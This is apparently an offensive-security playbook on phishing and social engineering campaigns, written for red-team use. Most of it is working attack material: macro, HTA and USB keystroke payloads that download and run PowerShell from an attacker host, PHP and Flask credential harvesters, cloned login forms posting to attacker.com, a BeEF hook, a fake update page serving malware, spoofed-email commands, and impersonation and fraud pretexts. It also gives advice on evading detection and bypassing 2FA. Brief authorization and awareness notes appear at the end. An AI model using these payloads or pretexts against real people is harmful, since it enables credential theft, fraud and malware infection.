performing-social-engineering

Performing Social Engineering

When to Use

• Phishing campaign execution
• Credential harvesting operations
• Social engineering assessments
• Red team engagements
• Security awareness testing

When NOT to Use

• Any campaign without written authorization and a defined scope — stop
• Technical exploitation after a click — use the relevant post-exploitation skill
• Analyzing a phishing email you received — use analyzing-phishing-emails (headers, links, attachments); analyzing-malware for a detonated payload

Phishing Infrastructure

Gophish (Phishing Framework)

# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish Campaign Setup:

1. Email Templates - Create convincing phishing emails
2. Landing Pages - Clone legitimate sites for credential harvesting
3. Sending Profiles - Configure SMTP server
4. Groups - Import target user lists
5. Campaign - Combine all elements and launch

SET (Social Engineering Toolkit)

# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

Credential Harvester:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

Email Phishing

Email Spoofing

# sendEmail (simple SMTP client)
sendEmail -f [email protected] \
  -t [email protected] \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to [email protected] \
  --from [email protected] \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com

Attachment-Based Phishing

Malicious Office Macros:

' Excel/Word VBA macro — AutoOpen fires on document open once macros are enabled
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""I[E]X((new-object net.web[c]lient).download[s]tring('http://attacker.com/payload.ps1'))"""
End Sub

Bracket-broken: I[E]X is IEX, net.web[c]lient is net.webclient, download[s]tring is downloadstring. Written literally, this block is the stock TrojanDownloader:O97M signature. See "Antivirus false positives" in the repo README.

Malicious PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

Malicious HTA:

<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>

Clone Legitimate Sites

# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">

Credential Harvesting Server

Simple PHP Harvester:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask Harvester:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

• Services to spoof caller ID
• Impersonate IT support, executives, vendors
• Social engineering over phone

Common Pretexts:

• IT support needing to verify credentials
• HR department verifying personal information
• Finance department confirming wire transfer
• Vendor requiring payment information update

SMS Phishing (Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB Drop Attacks

Rubber Ducky / Bad USB

Ducky Script Example:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.

Physical USB Drops

Pretexts:

• "Company Financial Data 2024"
• "Salary Information - Confidential"
• "Employee Bonuses Q4"
• "IT Security Update - Required"

Payload Ideas:

• Reverse shell
• Credential stealer
• Keylogger
• Data exfiltration
• Persistence mechanisms

QR Code Phishing

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

Watering Hole Attacks

1. Identify target organization's commonly visited sites
2. Compromise the website (or create lookalike)
3. Inject malicious code (exploit or profiling)
4. Wait for targets to visit and get compromised

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting

Fake Update Pages

<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

Pretexting Scenarios

IT Support:

• "Hi, this is John from IT. We're doing routine password resets..."
• "We've detected suspicious activity on your account..."
• "Your VPN certificate is expiring, we need to update it..."

Executive Impersonation:

• "This is [CEO name], I'm in a meeting and need you to..."
• "Urgent: Wire transfer needed before end of day..."
• "I'm traveling and can't access my account, can you help me..."

Vendor/Partner:

• "This is accounting from [vendor]. We need to update payment information..."
• "Your invoice is past due, please update billing details..."

Delivery/Shipping:

• "Package delivery failed, verify address..."
• "Customs clearance required, pay fee at..."

LinkedIn/Social Media Reconnaissance

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

Payload Delivery Methods

Links:

• Shortened URLs (bit.ly, tinyurl)
• Typosquatting domains
• Homograph attacks (IDN homograph)
• URL obfuscation

Attachments:

• Office documents with macros (.docm, .xlsm)
• PDFs with exploits/JavaScript
• Compressed files (.zip, .rar)
• ISO/IMG files
• LNK files (shortcut tricks)

Advanced:

• HTML smuggling
• Polyglot files
• Password-protected archives (bypass AV)
• Signed malware (stolen/fake certificates)

Tracking and Reporting

Email Tracking:

<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

Link Tracking:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

Metrics to Track:

• Emails sent
• Emails opened (tracking pixel)
• Links clicked
• Credentials submitted
• Attachments opened
• Time to first click/submission

OpSec Considerations

Infrastructure:

• Use disposable domains
• HTTPS for credential harvesting
• Legitimate SSL certificates (Let's Encrypt)
• Categorize domains (submit to categorization services)
• CDN for hosting (CloudFlare)

Email:

• SPF/DKIM/DMARC alignment
• Warm up email reputation
• Similar but different domains (company.com vs company-portal.com)
• Avoid spam trigger words

Detection Avoidance:

• Realistic sender names and addresses
• Professional email content
• Avoid known malicious indicators
• Time-based delivery (business hours)
• Geofencing (target geography only)

Tools Summary

• Gophish - Phishing campaign management
• SET - Social Engineering Toolkit
• BeEF - Browser exploitation
• King Phisher - Phishing campaign toolkit
• Evilginx2 - MITM phishing proxy (bypass 2FA)
• Modlishka - Reverse proxy phishing
• CredSniper - 2FA token capture
• ShellPhish - Automated phishing

Defensive Awareness

Teach users to recognize:

• Urgency/pressure tactics
• Requests for credentials
• Unusual senders
• Suspicious links/attachments
• Too-good-to-be-true offers
• Requests to bypass security

Legal and Ethical Considerations

• Always have written authorization
• Define scope clearly
• Protect harvested data
• Follow ROE (Rules of Engagement)
• Report findings responsibly
• Delete data after engagement

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Reconnaissance (TA0043)

• T1589 Gather Victim Identity Information — see also performing-reconnaissance
• T1591 Gather Victim Org Information — see also performing-reconnaissance
• T1598 Phishing for Information — see also analyzing-phishing-emails

Resource Development (TA0042)

• T1583 Acquire Infrastructure
• T1585 Establish Accounts
• T1608 Stage Capabilities — see also transferring-files

Initial Access (TA0001)

• T1189 Drive-by Compromise
• T1566 Phishing — see also analyzing-phishing-emails
• T1566.001 Spearphishing Attachment — see also analyzing-malware, analyzing-phishing-emails
• T1566.002 Spearphishing Link — see also analyzing-phishing-emails

Execution (TA0002)

• T1203 Exploitation for Client Execution — see also analyzing-malware, exploiting-memory-corruption
• T1204 User Execution

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

• https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
• https://getgophish.com/
• https://github.com/trustedsec/social-engineer-toolkit
• https://www.social-engineer.org/